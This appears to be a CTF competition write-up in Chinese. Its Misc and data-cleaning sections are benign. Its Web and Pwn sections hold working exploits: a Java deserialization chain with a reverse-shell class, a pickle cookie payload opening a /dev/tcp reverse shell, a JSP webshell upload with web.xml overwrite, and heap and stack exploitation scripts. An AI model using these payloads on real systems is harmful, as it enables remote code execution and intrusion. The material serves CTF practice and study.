Misc
hiden
根据附件信息,不难猜出是rot47+rot13
import wave
f = wave.open("hiden.wav", "rb")
wav_data = f.readframes(-1)
file_len = int.from_bytes(wav_data[:3:4])
hidden_data = bytearray(file_len)
for index in range(file_len):
hidden_data[index] = wav_data[(index + 3) * 4]
print(hidden_data)
checkin
解压附件,得到一个Flag.txt把里面的东西可以恢复出一个流量包
但是流量包里没有一点头绪
Hint 指出挖掘TXT文件,想到TXT文件隐写,而压缩包里有一串编码,解一下是base58
利用wbs43open解,刚刚base58解码出的就是key,最后得到一个log
经查看,是TLS的密钥log,导入wireshark中,解出一堆http流量,其中有个flag.gif
提取gif的时间间隔,然后转为2进制,转字符,得出flag
U_0wN_1T
so much
附件是一个ad1文件,这是AcessData的特殊存储格式,需要用FTK挂载,挂载时需要密码,把附件拖进010看看
1234567不对,不过!@#$%^&对了
把这一堆时间的提取为二进制,19分的记作1,20分的记作0
import os
list = ['']*344
i = 0
for j in range(344):
list[j] = os.path.getmtime(str(j)+'.crypto')
print(list)
flag = ''
for i in range(344):
if(str(list[i]) == '1628151585.73009'):
flag += '0'
else:
flag += '1'
print(flag)
tmp = ''
for k in range(len(flag)):
tmp += flag[k]
if len(tmp) == 8:
print(chr(int(tmp,2)),end='')
tmp = ''
运行得到密钥,用Encrypt工具和密钥解0,1两个文件得到flag
打开压缩包后有一个加密的zip文件和一个txt,txt中提示了我们所需要的解密密钥。
天地玄黄,宇宙洪荒;日月盈昃,辰宿列张;万物芸芸,息息相关;是以十二岁而行二十八宿,其间奥妙,待探寻,显真章。
若女可为11,可为1124......觜可为91,亦可为725......如此往复,周而复始。
祈解其秘:[43,101,55,16,16,1017,28,812,824,43,55,226,101,55,55,415,1017,1027,28,28,617,824,28,812,1027,16,101,16,55,1027,1017,28,16]
一开始根本没想法,但是根据提示可知,11代表的是子所属第一个星宿女,也是戌对应的逆时针第二十四个星宿。所以数组中的数代表着多个星宿,前面一个数代表生肖后面的数为逆时针的第几个星宿。我们根据规则解得数组内容为
心,胃,心,奎,奎,心,奎,心,胃,心,心,心,胃,心,心,胃,心,奎,奎,奎,奎,胃,奎,心,奎,奎,胃,奎,心,奎,心,奎,奎
因为其只有三种星宿所以很是莫斯电码,我转换成莫斯电码解得key为E@SI1Y!解压后我们发现一张天琴座图片,联想到lyra工具,解码后后获得音频文件。语音识别出一堆社会主义核心价值观编码
解密得到flag
miaoro
对于这种流量题大多都是一个一个翻,在这里找到一个密码,先暂记一下
这里可以发现攻击者下载了一个文件
下方蓝色区域就是文件内容,导出解base64编码后,还原出一个zip
需要密码,正好用到刚刚记下的那个密码
揭开后得到一个杂乱无章的图片,恢复一下宽高
抖音上找到了一个密码对照表,小猫密码
EBOFDELQDIAA}
还差一半,这里能看出,是shiro流量,一个个分析,分析到第7个流得出flag
DASCTF{B916CFEB-C40F-45D6-A7BC-EBOFDELQDIAA}
发现有提示6number,Zip爆破
里面是个png,残缺的二维码,
利用QRazyBox (https://merri.cx/qrazybox/)开修
ROT13解出AES@JDHXGD12345&JJJS@JJJSK#JJDKAJKAH这个.kdbx文件用KeepPassXC打开得到
U2FsdGVkX193h7iNsZs3RsLxH+V1zztkdS+fBy2ZQfzH77Uo4l3hSWplMV+GcLpAGflXlQuPTU5qIkOY7xJN9A==
然后AES解密就行,key为DASCTF
Crypto数据安全
data1
第一题相对简单,直接给出了csv格式的数据,写个脚本清洗一下即可
import pandas as pd
import time
def is_password_hash(value):
return len(value) == 32 and all(c in '0123456789abcdefABCDEF' for c in value)
def is_gender(value):
return value.strip() in ['男', '女']
def is_chinese_name(value):
return all('u4e00' <= c <= 'u9fff' or c in {'·', '.'} for c in value.strip()) and len(value) > 1
def is_birth_date(value):
return len(value) == 8 and value.isdigit()
def is_id_number(value):
return len(value) == 18 and value[:-1].isdigit() and (value[-1].isdigit() or value[-1].upper() == 'X')
def is_phone_number(value):
return len(value) == 11 and value.isdigit()
def is_username(value):
return value.isalnum()
def is_serial_number(value):
return value.isdigit()
corrected_data = pd.DataFrame(columns=['编号', '用户名', '密码', '姓名', '性别', '出生日期', '身份证号', '手机号码'])
df = pd.read_csv('./person_data.csv')
i=0
for index, row in df.iterrows():
new_row = {}
for item in row:
item = str(item).strip() # 清理数据
if is_password_hash(item):
new_row['密码'] = item
elif is_gender(item):
new_row['性别'] = item
elif is_chinese_name(item):
new_row['姓名'] = item
elif is_birth_date(item):
new_row['出生日期'] = item
elif is_id_number(item):
new_row['身份证号'] = item
elif is_phone_number(item):
new_row['手机号码'] = item
elif is_serial_number(item):
new_row['编号'] = item
elif is_username(item):
new_row['用户名'] = item
print(new_row)
if new_row:
corrected = pd.concat([corrected, pd.DataFrame([new_row])], ignore_index=True)
corrected.to_csv('./flag.csv', index=False)
data2
这次给的是流量包,所有数据都在流量的json文件里,只需要提取所有json再数据清洗即可
用tshark提取,然后上EXP
import json
import csv
import re
user_data_file = 'output.txt'
output_file = 'output.csv'
def check_username(username):
return bool(re.match(r'^[a-zA-Z0-9]+$', username))
def check_name(name):
return bool(re.match(r'^[u4e00-u9fff]{2,4}$', name))
def calculate_check_digit(idcard_base):
coefficients = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check_digits = "10X98765432"
total = sum(int(idcard_base[i]) * coefficients[i] for i in range(17))
remainder = total % 11
return check_digits[remainder]
def check_idcard(idcard, sex, birth):
idcard = str(idcard)
if len(idcard) != 18:
return False
if is_even(int(idcard[-2])):
if sex != "女":
return False
else:
if sex != "男":
return False
if idcard[6:14] != str(birth):
return False
def check_phone(phone):
check_list = [734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
780, 781, 789, 790, 791, 793, 799]
if len(phone) != 11:
return False
if int(phone[:3]) not in check_list:
return False
return True
def check_user(user):
if not check_username(user['username']):
return False
if not check_name(user['name']):
return False
if not check_idcard(user['idcard'], user['sex'], user['birth']):
return False
if not check_phone(user['phone']):
return False
return True
invalid_users = []
with open(user_data_file, 'r', encoding='utf-8') as file:
for line in file:
user = json.loads(line.strip())
if not check_user(user):
invalid_users.append(user)
with open(output_file, 'w', newline='', encoding='utf-8') as csvfile:
fieldnames = ['username', 'name', 'sex', 'birth', 'idcard', 'phone']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()
writer.writerows(invalid_users)
data3
难度更进一步,只给了log文件,但是根据查找,发现只有error.log有用其他都是废物
把这些字节流转换一下,就是密码了
这里要求两个操作,第一是提取,第二是脱敏,所以两个脚本
import csv
import re
import urllib.parse
import hashlib
log_file_path = 'error.log'
def mask_username(username):
if len(username) == 2:
return username[0] + '*'
elif len(username) > 2:
return username[0] + '*' * (len(username) - 2) + username[-1]
return username
def mask_name(name):
if len(name) == 2:
return name[0] + '*'
elif len(name) > 2:
return name[0] + '*' * (len(name) - 2) + name[-1]
return name
def mask_idcard(idcard):
return '*' * 6 + idcard[6:10] + '*' * (len(idcard) - 10)
def mask_phone(phone):
return phone[:3] + '****' + phone[7:]
def md5_password(password):
return hashlib.md5(password.encode()).hexdigest()
def is_valid_username(username):
return bool(re.match(r'^[A-Za-z0-9]+$', username))
csv_file_path_raw = 'raw_output_data.csv'
fields = ['userna', 'password', 'name', 'idcard', 'phone']
with open(log_file_path, 'r', encoding='utf-8') as file:
with open(csv_file_path_raw, 'w', newline='', encoding='utf-8') as csvfile:
writer = csv.DictWriter(csvfile, fieldnames=fields)
writer.writeheader()
current_data = {}
for line in file:
if 'userna=' in line:
current_data = {}
for field in ['userna', 'name', 'idcard', 'phone']:
match = re.search(f"{field}=([^&]+)", line)
if match:
current_data[field] = match.group(1).strip()
if 'userna' in current_data:
current_data['userna'] = urllib.parse.unquote(current_data['userna'])
if 'name' in current_data:
current_data['name'] = urllib.parse.unquote(current_data['name'])
if 'password' in line:
password_match = re.search(r'password=([^&]+)', line)
if password_match:
password = password_match.group(1).strip()[:-2]
current_data['password'] = md5_password(password)
if current_data:
writer.writerow(current_data)
current_data = {}
csv_file_path_final = 'final_output_data.csv'
def mask_username(username):
if len(username) == 2:
return username[0] + '*'
elif len(username) > 2:
return username[0] + '*' * (len(username) - 2) + username[-1]
return username
def mask_name(name):
if len(name) == 2:
return name[0] + '*'
elif len(name) > 2:
return name[0] + '*' * (len(name) - 2) + name[-1]
return name
def mask_idcard(idcard):
return '*' * 6 + idcard[6:10] + '*' * (len(idcard) - 10)
def mask_phone(phone):
return phone[:3] + '****' + phone[7:]
def check_phone(phone):
check_list=[734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752, 757, 758, 759, 772,
778, 782, 783, 784, 787, 788, 795, 798, 730, 731, 732, 740, 745, 746, 755,
756, 766, 767, 771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774, 777,
780, 781, 789, 790, 791, 793, 799]
if len(phone)!=11:
return False
if int(phone[0:3]) in check_list:
return True
else:
return False
def check_idcard(id):
id = str(id)
coe=[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
num_sum=0
for i in range(len(id)-1):
num_sum+=int(id[i])*coe[i]
rem=num_sum%11
codes="10X98765432"
if id[-1]!=codes[rem]:
return False
return True
def check_name(name):
return bool(re.match(r'^[u4e00-u9fff]+$', name))
with open(csv_file_path_raw, 'r', encoding='utf-8') as infile,
open(csv_file_path_final, 'w', newline='', encoding='utf-8') as outfile:
reader = csv.DictReader(infile)
writer = csv.DictWriter(outfile, fieldnames=fields)
writer.writeheader()
for row in reader:
if not is_valid_username(row['userna']):
continue
row['userna'] = mask_username(row['userna'])
if not check_name(row['name']):
continue
row['name'] = mask_name(row['name'])
if not check_idcard(row['idcard']):
continue
row['idcard'] = mask_idcard(row['idcard'])
if not check_phone(row['phone']):
continue
row['phone'] = mask_phone(row['phone'])
writer.writerow(row)
脱敏:
import csv
import re
def is_chinese(s):
return all('u4e00' <= char <= 'u9fff' for char in s)
def is_valid_phone_prefix(phone):
valid_prefixes = {734, 735, 736, 737, 738, 739, 747, 748, 750, 751, 752,
757, 758, 759, 772, 778, 782, 783, 784, 787, 788, 795,
798, 730, 731, 732, 740, 745, 746, 755, 756, 766, 767,
771, 775, 776, 785, 786, 796, 733, 749, 753, 773, 774,
777, 780, 781, 789, 790, 791, 793, 799}
return int(phone[:3]) in valid_prefixes
def is_alphanumeric(s):
return s.isalnum()
def is_valid_idcard(idcard):
coefficients = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2]
check_codes = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2']
if len(idcard) != 18:
return False
total = sum(int(idcard[i]) * coefficients[i] for i in range(17))
remainder = total % 11
return check_codes[remainder] == idcard[-1]
def desensitize_userna(userna):
if len(userna) == 2:
return userna[0] + "*"
elif len(userna) > 2:
return userna[0] + "*" * (len(userna) - 2) + userna[-1]
return userna
def desensitize_name(name):
if len(name) == 2:
return name[0] + "*"
elif len(name) > 2:
return name[0] + "*" * (len(name) - 2) + name[-1]
return name
def desensitize_idcard(idcard):
return "*" * 6 + idcard[6:10] + "*" * (len(idcard) - 10)
def desensitize_phone(phone):
return phone[:3] + "*" * 4 + phone[7:]
def desensitize_csv(input_file, output_file):
with open(input_file, newline='', encoding='utf-8') as csvfile:
reader = csv.DictReader(csvfile)
fieldnames = reader.fieldnames
rows = []
for row in reader:
if not is_chinese(row['name']):
continue
if not is_valid_phone_prefix(row['phone']):
continue
if not is_alphanumeric(row['userna']):
continue
if not is_valid_idcard(row['idcard']):
continue
row['userna'] = desensitize_userna(row['userna'])
row['name'] = desensitize_name(row['name'])
row['idcard'] = desensitize_idcard(row['idcard'])
row['phone'] = desensitize_phone(row['phone'])
rows.append(row)
with open(output_file, 'w', newline='', encoding='utf-8') as csvfile:
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()
writer.writerows(rows)
input_file = 'input.csv'
output_file = 'output.csv'
desensitize_csv(input_file, output_file)
Web
ez_java
用户名密码提示在bean.User中
观察controler.userContoler中定义的/user/ser路由存在反序列化注入点
并且发现反序列化使用了在utils.MyObjectInputStream重写的resolveClass()方法,过滤了反序列化部分类
在依赖项中,我们找到了jackson这个依赖,并且没有被过滤,可以尝试EventListenerList-->UndoManager#toString()>Vector#toString(--> POJONode#toString()
这条链子,从而调用一个getter不过本题禁用了TemplatesImpl类,无法直接加载恶意字节码,但是我们发现在bean.User中的getter中更新了系统类加载器,使其可以在给定的url中寻找类,拓展了类的寻找路径
所以我们可以将恶意类放在web应用可接触的地方,第一次反序列化bean.User加载恶意类的路径,第二次再次反序列化恶意类,调用其恶意的getter方法,从而rce。另外我们还要通过jar协议绕过bean.User对url中file和http的检测,要将恶意类打包成jar包
恶意类构造:
package org.le;
import java.io.IOException;
import java.io.Serializable;
public class payload implements Serializable {
public String Gift;
static {
String cmd = "bash -c {echo,YmFzaCAtaSA+某vps5OSjEK}|{base64,-d}|{bash,-i}";
try {
Runtime rt = Runtime.getRuntime();
rt.exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public void setGift(String gift) {
Gift = gift;
}
public String getGift() {
String cmd = "bash -c {echo,YmFzaCAtaSA+某vps5OSJjEK}|{base64,-d}|{bash,-i}";
try {
Runtime rt = Runtime.getRuntime();
rt.exec(cmd);
} catch (IOException e) {
throw new RuntimeException(e);
}
return cmd;
}
}
package org.le;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import com.example.ycbjava.bean.User;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import static sun.reflect.misc.FieldUtil.getField;
public class Main {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
public static void main(String[] args) throws Exception {
User user = new User();
user.setUsername("jar:http://ip:port/p2.jar!/");
payload payload = new payload();
POJONode pojoNode = new POJONode(user);
//EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[]{Map.class,manager});
byte[] obs = serialize(list);
System.out.println(new String(Base64.getEncoder().encode(obs)));
//deserialize(obs);
}
}
package org.le;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.*;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
import com.example.ycbjava.bean.User;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import static sun.reflect.misc.FieldUtil.getField;
public class Main {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
}
}
return null;
}
public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}
public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}
public static void main(String[] args) throws Exception {
User user = new User();
user.setUsername("jar:http://ip:port/p2.jar!/");
payload payload = new payload();
POJONode pojoNode = new POJONode(payload);
//EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[]{Map.class,manager});
byte[] obs = serialize(list);
System.out.println(new String(Base64.getEncoder().encode(obs)));
//deserialize(obs);
}
}
由于靶机出网,所以文件上传在本题可有可无
将jar包上传到服务器,开启服务
同时另一边开启监听
第一段
第二段
成功反弹shell
得到flag
Lyrics For You
读取/proc/self/cmdline
读取源码app.py
import os
import random
from config.secret_key import secret_code
from flask import Flask, make_response, request, render_template
from cookie import set_cookie, cookie_check, get_cookie
import pickle
app = Flask(__name__)
app.secret_key = random.randbytes(16)
class UserData:
def __init__(self, username):
self.username = username
def Waf(data):
blacklist = [b"R", b"secret", b"eval", b"file", b"compile", b"open", b"os.popen"]
valid = False
for word in blacklist:
if word.lower() in data.lower():
valid = True
break
return valid
"/", methods=["GET"]) .route(
def index():
return render_template("index.html")
"/lyrics", methods=["GET"]) .route(
def lyrics():
resp = make_response()
resp.headers["Content-Type"] = "text/plain; charset=UTF-8"
query = request.args.get("lyrics")
path = os.path.join(os.getcwd() + "/lyrics", query)
try:
with open(path) as f:
res = f.read()
except Exception as e:
return "No lyrics found"
return res
"/login", methods=["POST", "GET"]) .route(
def login():
if request.method == "POST":
username = request.form["username"]
user = UserData(username)
res = {"username": user.username}
return set_cookie("user", res, secret=secret_code)
return render_template("login.html")
"/board", methods=["GET"]) .route(
def board():
invalid = cookie_check("user", secret=secret_code)
if invalid:
return "Nope, invalid code get out!"
data = get_cookie("user", secret=secret_code)
if isinstance(data, bytes):
a = pickle.loads(data)
data = str(data, encoding="utf-8")
if "username" not in data:
return render_template("user.html", name="guest")
if data["username"] == "admin":
return render_template("admin.html", name=data["username"])
if data["username"] != "admin":
return render_template("user.html", name=data["username"])
if __name__ == "__main__":
os.chdir(os.path.dirname(__file__))
app.run(host="0.0.0.0", port=8080)
import base64
import hashlib
import hmac
import pickle
from flask import make_response, request
unicode = str
basestring = str
# Quoted from python bottle template, thanks :D
def cookie_encode(data, key):
msg = base64.b64encode(pickle.dumps(data, -1))
sig = base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest())
return tob("!") + sig + tob("?") + msg
def cookie_decode(data, key):
data = tob(data)
if cookie_is_encoded(data):
sig, msg = data.split(tob("?"), 1)
if _lscmp(
sig[1:],
base64.b64encode(hmac.new(tob(key), msg, digestmod=hashlib.md5).digest()),
):
return pickle.loads(base64.b64decode(msg))
return None
def waf(data):
blacklist = [b"R", b"secret", b"eval", b"file", b"compile", b"open", b"os.popen"]
valid = False
for word in blacklist:
if word in data:
valid = True
break
return valid
def cookie_check(key, secret=None):
a = request.cookies.get(key)
data = tob(request.cookies.get(key))
if data:
if cookie_is_encoded(data):
sig, msg = data.split(tob("?"), 1)
if _lscmp(
sig[1:],
base64.b64encode(
hmac.new(tob(secret), msg, digestmod=hashlib.md5).digest()
),
):
res = base64.b64decode(msg)
if waf(res):
return True
else:
return False
return True
def tob(s, enc="utf8"):
return s.encode(enc) if isinstance(s, unicode) else bytes(s)
def get_cookie(key, default=None, secret=None):
value = request.cookies.get(key)
if secret and value:
dec = cookie_decode(value, secret)
return dec[1] if dec and dec[0] == key else default
return value or default
def cookie_is_encoded(data):
return bool(data.startswith(tob("!")) and tob("?") in data)
def _lscmp(a, b):
return not sum(0 if x == y else 1 for x, y in zip(a, b)) and len(a) == len(b)
def set_cookie(name, value, secret=None, **options):
if secret:
value = touni(cookie_encode((name, value), secret))
resp = make_response("success")
resp.set_cookie("user", value, max_age=3600)
return resp
elif not isinstance(value, basestring):
raise TypeError("Secret key missing for non-string Cookie.")
if len(value) > 4096:
raise ValueError("Cookie value too long.")
def touni(s, enc="utf8", err="strict"):
return s.decode(enc, err) if isinstance(s, bytes) else unicode(s
secret_code = "EnjoyThePlayTime123456"
分析app.py得知cookie存在pikle反序列化
from cookie import set_cookie, cookie_check, get_cookie, cookie_encode
import base64
secret = "EnjoyThePlayTime123456"
opcode = b"""(cos
system
S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
o."""
# print(base64.b64encode(opcode))
exp = cookie_encode(("user", opcode), secret)
print(exp)
用其设置cookie,key为user
user=!/q6TKzG9zuXEHdnahPFBvQ==?gAWVVQAAAAAAAACMBHVzZXKUQ0goY29zCnN5c3RlbQpTJ2Jhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3AvMTM5LjIyNC4xOTkuOTkvOTk5OSAwPiYxIicKby6UhpQu
携带cookie访问/board
运行得到
tomtom2
web.xml不给读
先登录
可以上传xml文件,先传一个jsp马,后缀改成xml
再上传一个web.xml覆盖原来,将xml文件也解析成jsp
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>xml</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>xml</servlet-name>
<url-pattern>*.xml</url-pattern>
</servlet-mapping>
</web-app>
path改成WEB-INF
再次访问发现白页
执行命令
pstack
总共是0x10字节溢出,buf受rbp控制,直接覆盖rbp,实现栈迁移,利用两次,第一泄露,第二次拿flag
from pwn import *
from struct import pack
from ctypes import *
from libcfind import *
import base64
leak = lambda name,data : p.success(name +":0x%x" % data)
def s(a):
p.send(a)
def sa(a, b):
p.sendafter(a, b)
def sl(a):
p.sendline(a)
def sla(a, b):
p.sendlineafter(a, b)
def r():
p.recv()
def pr():
print(p.recv())
def rl(a):
return p.recvuntil(a)
def debug():
gdb.attach(p)
pause()
def l64():
return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))
def l32():
return u32(p.recvuntil(b'xff')[-4:])
#定义函数一键下断点
def b(addr):
#bk="b *$rebase("+str(addr)+")"
bk='b *' + str(addr)
attach(p,bk)
success('attach')
context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
#p = remote('')
bss = 0x601010 + 0x700
leave_ret = 0x4006DB
read = 0x4006C4
rdi = 0x0000000000400773
rbp = 0x00000000004005b0
ret = 0x4006DC
payload = b'a' * (0x30) + p64(bss + 0x30) + p64(read)
sa(b"Can you grasp this little bit of overflow?", payload)
payload2 = p64(rdi) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(rbp) + p64(bss + 0x300 + 0x30) + p64(read)
payload2 += p64(bss - 8) + p64(leave_ret)
s(payload2)
libc_base = uu64() - libc.sym['read']
print(hex(libc_base))
system, bin_sh = get_sb()
payload3 = (p64(rdi) + p64(bin_sh) + p64(ret) + p64(rdi + 1) + p64(system)).ljust(0x30, b'x00') + p64(
bss + 0x300 - 8) + p64(leave_ret)
s(payload3)
p.interactive()
TravelGraph
Add处没有offbynull,delete没有uaf,但是可以申请三种堆,可以利用unsortedbin构成bins堆叠从而泄露libc和heap_base,同理可以制造largebin attack,由于2.35中各种magic gadget的移除,所以这里选择利用wide_data为rdx,setcontext+61的gadget来绕过seccomp,完整代码如下
from pwn import *
io = remote("139.155.126.78", 31850)
context.os = "linux"
context.arch = "amd64"
elf = ELF('./pwn2')
libc = ELF('./libc.so.6')
def add(choice, From, To, Note=b'deadbeef', Far=0x308):
if choice == 0:
choice = b'car'
elif choice == 1:
choice = b'train'
elif choice == 2:
choice = b'plane'
io.sendlineafter(b"5. Calculate the distance.", b'1')
io.recvuntil(b"What kind of transportation do you want? car/train/plane?")
io.sendline(choice)
io.recvuntil(b"From where?")
io.sendline(From)
io.recvuntil(b"To where?")
io.sendline(To)
io.recvuntil(b"How far?")
io.sendline(str(Far).encode())
io.recvuntil(b"Note:")
io.send(Note)
def delete(From, To):
io.sendlineafter(b"5. Calculate the distance.", b'2')
io.recvuntil(b"From where?")
io.sendline(From)
io.recvuntil(b"To where?")
io.sendline(To)
def show(From, To):
io.sendlineafter(b"5. Calculate the distance.", b'3')
io.recvuntil(b"From where?")
io.sendline(From)
io.recvuntil(b"To where?")
io.sendline(To)
def edit(From, To, Route, Note, Far=0x308):
io.sendlineafter(b"5. Calculate the distance.", b'4')
io.recvuntil(b"From where?")
io.sendline(From)
io.recvuntil(b"To where?")
io.sendline(To)
io.sendlineafter(b'Which one do you want to change?n', str(Route).encode())
io.sendlineafter(b'How far?n', str(Far).encode())
io.sendafter(b'Note:n', Note)
def caculate(To):
io.sendlineafter(b"5. Calculate the distance.", b'5')
io.sendlineafter(b"Where do you want to travel?", To)
# "**guangzhou/nanning/changsha/nanchang/fuzhou**"
# cat/train/plane
city_array = [b'guangzhou', b'nanning', b'changsha', b'nanchang', b'fuzhou']
add(0, city_array[0], city_array[4])
add(0, city_array[4], city_array[1])
add(1, city_array[1], city_array[2])
add(0, city_array[2], city_array[3])
caculate(city_array[2])
delete(city_array[1], city_array[2])
delete(city_array[4], city_array[1])
payload = b'a' * 0x50f + b'f'
add(1, city_array[1], city_array[2], payload, 0x310)
show(city_array[1], city_array[2])
io.recvuntil(b'aaaaaaaaaaf')
libc_base = u64(io.recvuntil(b"x7f")[-6:].ljust(8, b"x00")) - 0x21ace0
add(1, city_array[1], city_array[2], payload, 0x310)
add(0, city_array[4], city_array[1], b'deaditsh', 0x310)
show(city_array[4], city_array[1])
io.recvuntil(b'deaditsh')
heap_base = u64(rl()[:-1].ljust(8, b'x00')) - 0x1ec0
fake_IO_FILE = heap_base + 0x42f0
orw_addr = fake_IO_FILE + 0x268
target_addr = libc_base + libc.sym['_IO_list_all']
set_context_61 = libc_base + libc.sym["setcontext"] + 61
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
_IO_cookie_jumps = libc_base + 0x216b80
_lock = libc_base + 0x21ca60
pop_rax = libc_base + 0x0000000000045eb0
_IO_wstrn_jumps = libc_base + 0x216dc0
pop_rdi = libc_base + 0x000000000002a3e5
pop_rsi = libc_base + 0x000000000002be51
syscall = libc_base + 0x0000000000029db4
ret = libc_base + 0x0000000000029139
pop_rdx_r12_ret = libc_base + 0x000000000011f2e7
data = flat({
0: {
0x18: p64(orw_addr),
0x68: _lock,
0x80: fake_IO_FILE + 0xe0 + 0x20,
0xb8: _IO_wfile_jumps
},
0xe0: {
0x18: 0,
0x30: 0,
0xa0: orw_addr,
0xa8: ret,
0xe0: fake_IO_FILE + 0x1C8 + 0x20,
},
0x1C8: {
0x68: set_context_61
},
0x238: {
0: b'/flagx00x00x00',
0x10: {[ret, pop_rdi, orw_addr - 0x10, pop_rsi, 0, open_addr,
pop_rdi, 3, pop_rsi, fake_IO_FILE + 0x400, pop_rdx_r12_ret, 0x30, 0, read_addr,
pop_rdi, 1, pop_rsi, fake_IO_FILE + 0x400, write_addr]}
}
})
add(2, city_array[1], city_array[1], b'dddd', 0x300)
add(0, city_array[2], city_array[2])
add(0, city_array[3], city_array[1], p64(0x521) * 0x50, 0x3E8)
delete(city_array[2], city_array[2])
delete(city_array[1], city_array[1])
add(0, city_array[2], city_array[2], b'cccc', 0x3E8)
payload_fake_chunk = b'f' * 8 + p64(0x521) + p64(0x300000003) + p64(0x1000003e8)
add(2, city_array[1], city_array[1], payload_fake_chunk, 0x300)
add(2, city_array[0], city_array[1], b'aahhhhaa', 0x300)
add(0, city_array[4], city_array[3], b'aadksdaa', 0x3E8)
add(0, city_array[3], city_array[1], p64(0x521) * 0x50, 0x3E7)
delete(city_array[4], city_array[3])
delete(city_array[0], city_array[1])
add(0, city_array[4], city_array[0])
payload = p64(0) + p64(0x501) + p64(0x400000004) + p64(0) + data
payload = payload.ljust(0x500, b'a') + p64(0x541) * 2
add(2, city_array[0], city_array[1], payload, 0x300)
delete(city_array[3], city_array[3])
add(2, city_array[0], city_array[1], b'ghsd', 0x3E8)
edit(city_array[1], city_array[1], 0, p64(0) + p64(0x521) + p64(libc_base + 0x21b110) * 2 + p64(0) + p64(target_addr - 0x20))
delete(city_array[4], city_array[4])
add(2, city_array[1], city_array[1], b'jdgjg', 0x300)
add(2, city_array[1], city_array[1], b'a' * 8 + p64(0x521) + p32(3) * 3, 0x300)
